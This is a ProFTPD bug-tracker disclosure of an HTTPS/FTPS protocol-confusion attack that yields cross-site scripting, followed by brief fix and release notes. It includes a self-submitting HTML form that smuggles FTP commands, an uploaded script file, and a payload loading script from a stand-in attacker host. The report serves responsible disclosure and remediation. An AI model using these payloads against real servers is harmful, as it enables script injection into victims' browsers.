Bugzilla – Bug 4143
HTTPS/FTPS protocol confusion leads to XSS
Last modified: 2015-05-28 05:50:16 UTC
On 2014-12-13, Jann Horn reported the following issue: When ProFTPD is used with a TLS server certificate, a MITM attacker between the client and the ProFTPD server with the ability to upload files to the ProFTPD server can perform XSS attacks on any HTTPS website for which ProFTPD has a valid certificate. The attack works like this: To prepare the attack, the attacker uploads a file containing <!DOCTYPE html><script>alert(1)</script> to ftp://example.org/file.html. The victim navigates to any plain HTTP website. The attacker injects a self-submitting form like this: <form method="post" enctype="text/plain" action="https://example.org/"> <textarea name="a">a USER ftp PASS ftp PBSZ 0 PROT P PORT x,x,x,x,x,x RETR /file.html QUIT a</textarea> <button type="submit">run</button> </form> The victim's browser submits the form to https://example.org/. The attacker intercepts the connection, connects to the ProFTPD server, starts TLS by writing "AUTH TLS\n" and reading the response, then connects the incoming connection from the victim's browser to the connection to ProFTPD. Now, the browser and ProFTPD successfully negotiate a TLS connection, and the browser submits the form, which looks like this: GET / HTTP/1.1 [...] a USER ftp PASS ftp PBSZ 0 PROT P PORT x,x,x,x,x,x RETR /file.html QUIT a ProFTPD interprets the incoming HTTP traffic as FTP commands: It replies to each HTTP header line with an error message, then executes the commands from the request body. ProFTPD connects back to the attacker. The attacker forces the browser to open https://example.org/ in a new window or frame, intercepts the connection again, but connects it to the FTP data connection this time. Because both TLS connections are between the browser and the FTP server and browsers support TLS session reuse, this works. The HTTP client sends an HTTP request over the FTP data connection and reads the attacker-controlled file as the entire HTTP response, allowing the attacker to run arbitrary Javascript code in the context of https://example.org/. I have experimentally verified that this attack works. A second, related issue is that the ProFTPD server replies to bad FTP commands with a response that includes the command name. When it receives a line "<SCRIPT/SRC="https://attacker/xss.js"></SCRIPT>", it replies with an error message that contains the original "command", which is sufficient to cause Internet Explorer 11 to treat the response as an HTML page and run the script. It doesn't work against Chrome because of stricter content-type sniffing rules and also shouldn't work against Firefox (untested), but for an attacker, it has the advantage of not requiring upload access to the FTP server. As a mitigation for both issues, it might be a good idea to kill connections whenever the client sends a HEAD/OPTIONS/GET/POST/CONNECT command. I have found the first of the two issues in vsftpd, too. Also, Dovecot seems to only have very brittle protection against this kind of attack. It might be a good idea to coordinate the release of a mitigation for this issue with them. I would like to thank Michal Zalewski (lcamtuf@google.com) for helping with the basic idea behind this attack.
Pull request opened with potential fix: https://github.com/proftpd/proftpd/pull/81
Merged to master, and backported to 1.3.5 branch. Thanks!
Resolved in 1.3.5a, 1.3.6rc1.